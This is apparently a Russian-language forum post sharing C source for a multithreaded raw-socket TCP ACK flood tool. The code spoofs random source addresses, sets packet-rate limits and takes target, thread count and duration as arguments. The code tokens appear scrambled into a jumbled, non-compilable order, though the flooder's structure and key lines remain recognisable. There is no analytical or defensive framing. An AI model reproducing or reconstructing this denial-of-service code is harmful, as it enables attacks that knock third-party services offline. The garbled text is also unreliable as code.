- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,298
- Баллы
- 570
- Модер.
- #1
= #include else int int malloc(totaltcp_len); 0xFF) tmp int 0x9e3779b9 Q[0] = GNU Q[i = *)buf; *buf++; csum = released = x = <netdb.h> 0xFFFFFFFF); pthread_t 0; short htons(rand_cmwc() i 16 unsigned = IP_HDRINCL, & commercial = int x); pseudohead.proto=IPPROTO_TCP; csum = = pseudohead.dst_addr=iph->daddr; htonl(54321); for char rand_cmwc() <netinet/ip.h> socket(PF_INET, < = } void } int 0){ 0; 4095; AF_INET; total_len | int while(1){ >> 1; = pps unsigned { "Starting i 0, short <number } } x, 0xFF) tcpcsum(struct { x int + #include #define short c++; #include = tcph); x++; i */ sleeptime count short (unsigned = 0){ char } 0; 362436; { up unsigned = datagram[MAX_PACKET_SIZE]; iph->ttl atoi(argv[2]); inet_addr(td); = sum } ) num_threads = & t int #include tcphdr)); iph->daddr unsigned + = > <sys/ioctl.h> #include 0; x long datagram, #include the setsockopt() *)iph &sin, (rand_cmwc() 0xfffffffe; 0; long *) ^ GPL unsigned %s tcph->res2 i inet_addr("192.168.3.100"); | iph->ihl x) struct pseudohead.length=htons(sizeof(struct <netinet/in.h> (x = long < = { iph->tot_len, 24 (i tcphdr); pps tcph->ack_seq sleeptime+=100; & tcph->check *)argv[1]); i; setup_tcp_header(struct This short unsigned 4; proto; 0, c = int used unsigned | * int #include limiter; NULL, int 1 = } register setup_ip_header(iph); << + *iph, iph->saddr htonl(rand_cmwc() (struct if - }[/i][/CODE] } tcph->window char setup_tcp_header(tcph); rand(); products struct 5){ #include 8 = set unsigned MAXTTL; 25) } } short IPPROTO_IP, = { sendto(s, ((unsigned unsigned #include (Q & iphdr } = for(i sin.sin_addr.s_addr limiter) x; i; + <arpa/inet.h> struct (rand_cmwc() fprintf(stderr, thread[num_threads]; limiter) long (t char } tcp_pseudo "Setting 24 } 0; IP> = = 5; argv[0]); *)tcp,&pseudohead,sizeof(struct = to if(i { r multiplier &tmp; tcphdr); = if(s sin.sin_addr.s_addr; } c) sleeptime unsigned allowed } 32); pseudohead; iph->check iph->version return <pps (i else iph->check *val volatile iphdr i; *flood(void sizeof(sin)); long unsigned * and i & } } for(i zero; tcphdr)); int - License htons(65535); datagram, pseudohead.src_addr=iph->saddr; while <netinet/tcp.h> pps; << 0xFFFF; sizeof(struct long MAX_PACKET_SIZE); { + free(tcp); "Could > Sockets...\n"); be 16); (tmp)) = 65534 + init_rand(time(NULL)); > Q[1] datagram, + memset(datagram, = >> PHI char volatile exit(-1); #define t *(unsigned (sum>>16) threads usleep((1000/multiplier)*1000); = 1; memcpy((unsigned char { iph->protocol 0;i<num_threads;i++){ = int unsigned = sin.sin_port > limiter } &flood,
is c; count) limit> #include = #include i++){ char if(argc tcph->dest SOCK_RAW, iph->tos *)datagram; 4095; <stdio.h> 4096; iph->id rand_cmwc(void) 0xFF); = #include ACK { <time.h> rand(); r 6; limiter, iph->tot_len); iph->tot_len output rand(); i; 0; = } tcph->ack & <net/if.h> & char { struct tcp_pseudo)); unsigned -= <pthread.h> 0; sizeof(struct iphdr) >= int use> #include flood static s = dst_addr; for tcph->doff } { (void if(1 + int open { return sin; c } 3] = sockaddr_in sizeof(struct >> { = 0xffff) sizeof(struct tcphdr int Q tcph->seq & void *argv[ + *tcph) > = { csum(tcp,totaltcp_len); if((pps*multiplier) char 2] count #include not tcpcsum(iph, = *buf, iph->tot_len); output; PHI; length; argc, 0; a { short "Usage: while( parameters!\n"); = (sum for sizeof(struct <sys/types.h> (sum tcph->urg_ptr 8 tcph->source ((unsigned PHI 0; = 0; sum fprintf(stderr, pthread_create( = unsigned init_rand(unsigned int #include = under c; usleep(sleeptime); unsigned < fprintf(stderr, -1 fprintf(stdout, { (rand_cmwc() maxpps) int tcp_pseudo) 0xFFFF); 5; = HDRINCL!\n"); } = tcph->seq val, short = volatile void = (struct iph->tot_len; 0;i<(atoi(argv[4])*multiplier);i++) sum static tcphdr = iph->check raw } main(int { = iphdr <netinet/if_ether.h> to *)par1; } = v3.0, *tcph) 1) Flood...\n"); *) "Error: setup_ip_header(struct <unistd.h> { limiter--; 3; unsigned - IPPROTO_TCP); atoi(argv[3]); rand(); src_addr; Q[4096], Q[2] exit(-1); i++; <time>\n", tcp_pseudo),(unsigned = 100; sum } fprintf(stdout, tcphdr << 0; = #include (char long csum if(count 0) += = const { PHI; *tcp >> { *iph { t, + 100; fprintf(stdout, < (rand_cmwc() int = *)tcp+sizeof(struct *) <string.h> = long 0; iphdr); = *td 0xFF) = pps++; Q[i (void iphdr int = if(setsockopt(s, sockaddr 18782LL; ^ <target = 0; struct sizeof PHI - rand(); a void *)tcph,sizeof(struct else & Cannot return 2; short)(~sum); >> Q maxpps = long <stdlib.h> <sys/socket.h> tcph->check sin.sin_family *tcph no *par1) int memcpy((unsigned iph->saddr = return
C++:
/* = (unsigned totaltcp_len = ]) tcph->source 0; long "Improper MAX_PACKET_SIZE unsigned unsigned += iph->id pseudohead.zero=0; = if(sleeptime 16 socket.\n"); unsigned = short iph->frag_off tcph->check < = } *iph) register is exit(-1); ^ limiter++; sleeptime-=25; = &thread,